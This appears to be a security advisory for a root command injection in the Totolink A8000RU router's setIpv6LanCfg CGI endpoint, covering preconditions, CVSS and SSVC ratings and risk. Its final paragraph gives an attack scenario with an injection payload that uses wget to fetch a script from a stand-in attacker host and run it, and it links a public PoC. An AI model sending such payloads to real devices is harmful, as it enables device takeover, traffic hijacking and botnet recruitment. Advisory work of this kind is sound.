Totolink A8000RU CVE-2026-7124

Exploitation requires the router's CGI web interface (/cgi-bin/cstecgi.cgi) to be network-accessible to the attacker, either via internet-exposed management interface or from internal network position. The setIpv6LanCfg function must be enabled and reachable, which is typically available in default configurations on Totolink A8000RU firmware 7.1cu.643_b20200521. No authentication is required for exploitation based on CVSS:4.0 vector PR:N (Privileges Required: None), indicating either the vulnerable endpoint lacks authentication controls or the injection occurs before authentication checks. No user interaction (UI:N) is necessary, enabling fully automated exploitation. Attack complexity is low (AC:L) with no special attack requirements (AT:N), meaning exploitation succeeds reliably under standard network conditions without race conditions, brute force, or social engineering. Limiting factors: vulnerability is specific to firmware version 7.1cu.643_b20200521, and exploitation impact is contained to the compromised router (SC:N/SI:N/SA:N indicates no scope change to other system components).

Real-world risk is HIGH despite limited observed exploitation. CVSS:4.0 score of 8.9 reflects maximum severity across confidentiality, integrity, and availability impacts (VC:H/VI:H/VA:H) with the most exploitable attack characteristics: network vector (AV:N), low complexity (AC:L), no attack requirements (AT:N), no privileges required (PR:N), and no user interaction (UI:N). Exploit maturity indicator E:P confirms publicly available proof-of-concept, lowering the skill barrier for exploitation. The GitHub POC repository provides working exploit code that can be immediately weaponized. However, exploitation requires the IPv6 configuration feature to be accessible, which may limit attack surface depending on router deployment (internet-facing admin interface vs. LAN-only). Absence from CISA KEV suggests this has not yet been incorporated into widespread attack campaigns or ransomware toolkits, likely due to the narrow target base of this specific router model. Primary risk is to internet-exposed router admin interfaces and opportunistic scanning campaigns targeting consumer IoT devices. SSVC assessment: exploitation is PUBLIC and AUTOMATABLE with TOTAL technical impact (full system compromise), warranting IMMEDIATE priority for affected organizations.

An external attacker performs internet-wide scanning for Totolink A8000RU devices with exposed web management interfaces on ports 80 or 443. Upon identifying a target, the attacker crafts an HTTP POST request to /cgi-bin/cstecgi.cgi targeting the setIpv6LanCfg function with a malicious addrPrefixLen parameter containing command injection payload such as '64;wget http://attacker.com/backdoor.sh -O /tmp/x;sh /tmp/x;'. The router executes the injected commands with root privileges, downloading and running attacker-controlled malware that establishes persistent reverse shell access, modifies DNS settings to redirect victim traffic through attacker infrastructure for credential harvesting, or integrates the device into a DDoS botnet. Public POC availability from https://github.com/Litengzheng/vuldb_new2/tree/main/A8000RU/vul_309/README.md enables script kiddie-level attackers to exploit this vulnerability without developing custom exploits.